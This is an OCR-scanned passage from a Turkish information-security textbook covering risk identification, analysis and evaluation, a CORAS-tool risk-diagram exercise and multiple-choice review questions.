e Tanimlanan her bir tehdidi 6nlemek veya azaltmak igin tasarlanmis mevcut kontroller belirlenir.

e Mevcut kontrollerde bu tehditler tarafindan istismar edilebilecek tiim giivenlik agiklari belirlenir.
Bu glivenlik agiklar zayif parola ve sifreleri, glincel olmayan yazilimlari veya yetersiz fiziksel gliven-
ligi icerebilir.

6.2.2.3. Risk Analizi

Risk analizi islemi su sekilde yapilir:
¢ Tehdidin zafiyetten yararlanma olasiligi tahmin edilir.
e Tehdidin zafiyetten yararlanmasi durumunda dogacak potansiyel etki tahmin edilir.

e Her bir tehdit-zafiyet gifti icin olasilik ve etki dereceleri ¢arpilarak risk seviyesi hesaplanir.

6.2.2.4. Risk Degerlendirme

Riskler belirlendikten ve analiz edildikten sonra kurumun 6nceden tanimlanmis risk kabul olgutleriyle
karsilastirlimalidir. Bu islem su adimlari igerir:

e Tanimlanmis ve analiz edilmis tiim riskler hesaplanan risk puanlariyla birlikte listelenir.

e Her bir riskin puani risk kabul dl¢itlerinde 6nceden tanimlanmis esik deger araliklari ile karsilas-
arihr.

e Her bir risk dlstk, orta, yliksek ve ¢ok yiiksek risk diizeylerinden biri ile kategorize edilir.

¢ Riskler kategorize edildikten sonra kabul edilebilir olmayan risklerden hangilerinin éncelikle ele
alinmasi gerektigine karar vermek igin dncelik siralamalarinin yapilmasi gerekir.

e Her bir kategorideki riskler risk puanlarina gére siralanir. Daha yiiksek risk puanlarina éncelik
verilmelidir.

e Onceliklendirilmis risk listesi kategorileri ve risk puanlariyla birlikte belgelenir. Bu belge risk y6-
netim sireci icin kilavuz gorevi gorur.
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1. UYGULAMA Coras araci diyagramlarini kullanarak risk degerlendirmesi yapma islemini
asagidaki adimlar dogrultusunda gerceklestiriniz.

1. Adim: Coras cevrimici aracini (Hedef Adres: https://coras.tools/#/try-it) web tarayicida aginiz.

2. Adim: Coras gevrimigci aracini kullanarak risk degerlendirme ile ilgili diyagrami olusturunuz (Gorsel
6.5).

Web uygulamasinin

cokmesi
[nadirl
Cevrimici magazanin %/ "
0 Gelismemis sistern arizasi ylksek ;
teknoloji nedeniyle kapanmasi Cevrimit_;i ma_ga_z_anm
Sistemn [nadir] erisilebilirligi
e \g\ y
Kararsiz

ag baglants Ag baglantisi
kaybi

lolasiigr diistk |

Gorsel 6.5: Coras ile risk degerlendirme

3. Adim: Coras ¢evrimigi araci ile olusturulan risk degerlendirme diyagramini SVG dosya formatinda
indiriniz.

Siz de Coras c¢evrimici aracinda Gorsel 6.6’daki tehdit, varlk, zafiyet, tehdit
senaryosu ve istenmeyen olay sembollerini kullanarak risk degerlendirmesi yapiniz.

¢ B & & & b

Zararli Bilgilerin Sunucunun Sunucunun Guncel olmayan
Hacker Yazilim gizliligi erisebilirligi batinlaga antivirs yazilimi

Zararli yazilimin Sunucunun Hacker'in

sunucuya : : -
arka kapi olusyturmaS| Sokmas| sunucuya ergimi

Zararli yazilimin
sunucuya bulasmasi

Gorsel 6.6: Coras risk degerlendirme sembolleri
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6LCME VE DEGERLENDIRME

Asagidaki sorulari dikkatlice okuyarak dogru cevabi isaretleyiniz.

1. Asagidakilerden hangisi veri, dokiiman, sis- 4. Asagidaki formiillerden hangisi risk he-

tem gibi korunmasi 6nemli olan degerli kay-
naklari ifade eder?

A) Koruma
B) Risk

C) Tehdit
D) Varlik
E) Zafiyet

. Asagidakilerden hangisi risk yonetimi siireci-
nin bilesenlerinden biri degildir?

A) Risk tanimlama

B) Risk analizi

C) Risk izleme

D) Risk degerlendirme
E) Risk artirma

. Coras aracinda kullanilan sembollerden han-
gisi kasith-insan kaynakh tehdidi gosterir?

A) @ B) i Q) #3

AP

saplamada kullanilir?

A) Olasilik x Zayiflik

B) Olasilik x Etki

C) Zayiflik x Etki

D) Zayiflik x Tehdit derecesi

E) Olasilik x Olasilik x Dolayh Etki

. Asagidaki kavramlardan hangisi bir gii-

venlik mekanizmasinin herhangi bir
tehdit unsuru tarafindan atlatilmasini
tanimlar?

A) ihlal

B) Risk

C) Risk Yonetimi
D) Tehdit

E) Zafiyet
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